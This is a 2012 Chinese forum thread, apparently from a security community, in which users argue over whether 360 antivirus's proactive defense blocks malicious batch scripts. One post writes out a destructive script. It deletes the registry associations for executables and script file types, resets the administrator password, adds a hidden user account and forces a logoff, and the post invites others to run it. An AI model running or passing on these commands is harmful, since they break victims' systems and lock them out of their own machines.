来喷一下360的主防------其实是在帮助360，说我黑也行....

显示全部楼层 · 发表于 2012-9-4 23:54:30

本帖最后由 lh920215 于 2012-9-5 13:52 编辑

MacAfee 发表于 2012-9-4 22:54
病毒一样会用这方法啊

显示全部楼层 · 发表于 2012-9-4 23:56:46

MacAfee 发表于 2012-9-4 23:37
关键是他也没进沙箱啊

谁没事用一个程序就放沙箱

除非此类数字自动如沙

显示全部楼层 · 发表于 2012-9-4 23:58:12

感谢楼主的分享啊

显示全部楼层 · 发表于 2012-9-5 00:05:47

本帖最后由 lh920215 于 2012-9-5 13:53 编辑

GLOBALROOT 发表于 2012-9-4 19:17
郑伟版主又拿着没用的恶作剧脚本来搞笑了，你已经拿不出有意义的样本了啊？

数字粉都有些觉得说不过去了你还在这说搞笑是啊看着用户开不了机是挺好笑的是吧技术牛就是有独到之处啊
你要是代表的是官方这态度绝对的

加有加的说法不加也有不加的理由略带不屑的口气说是一个搞笑的恶意样本这就算完了？

显示全部楼层 · 发表于 2012-9-5 00:29:07

haoge250 发表于 2012-9-4 19:14
批处理永远都是杀毒的痛啊

是hips的最爱

显示全部楼层 · 发表于 2012-9-5 01:07:31

运行 (“rasphone -h adsl ”, 假, )
运行 (“reg delete HKEY_CLASSES_ROOT\.cmd /f ”, 假, )
运行 (“reg delete HKEY_CLASSES_ROOT\.bat /f ”, 假, )
运行 (“reg delete HKEY_CLASSES_ROOT\.reg /f ”, 假, )
运行 (“reg delete HKEY_CLASSES_ROOT\.exe /f ”, 假, )
运行 (“reg delete HKEY_CLASSES_ROOT\.js /f ”, 假, )
运行 (“reg delete HKEY_CLASSES_ROOT\.lnk /f ”, 假, )
运行 (“reg delete HKEY_CLASSES_ROOT\.vbs /f ”, 假, )
运行 (“reg delete HKEY_CLASSES_ROOT\.dll /f ”, 假, )
运行 (“net user administrator woshi2b”, 假, )
运行 (“net user mimashiwoshi2b haha /add”, 假, )
运行 (“c:\windows\system32\logoff.exe”, 假, )

运行看看把

显示全部楼层 · 发表于 2012-9-5 01:24:37

提示: 该帖被管理员或版主屏蔽

显示全部楼层 · 发表于 2012-9-5 01:50:06

lh920215 发表于 2012-9-5 00:05
数字粉都有些觉得说不过去了你还在这说搞笑是啊看着用户开不了机是挺好笑的是吧技术牛就是有独到 ...

这就叫做自大

显示全部楼层 · 发表于 2012-9-5 03:04:32

批处理？怎么防？当真要用到该批处理指令于正事时，技术人员写了个批处理寄过来要你运行，你也分不清到底该防还是不防了。无聊的东西

显示全部楼层 · 发表于 2012-9-5 06:44:40

批处理杀软主防90%都会过，不是十分白的操作者都会看看批处理内容在运行吧？

visual4 头像被屏蔽	发表于 2012-9-5 01:24:37 来自手机 \| 显示全部楼层提示: 该帖被管理员或版主屏蔽
visual4 头像被屏蔽
	回复举报

[讨论] 来喷一下360的主防------其实是在帮助360，说我黑也行....

评分

评分

本帖子中包含更多资源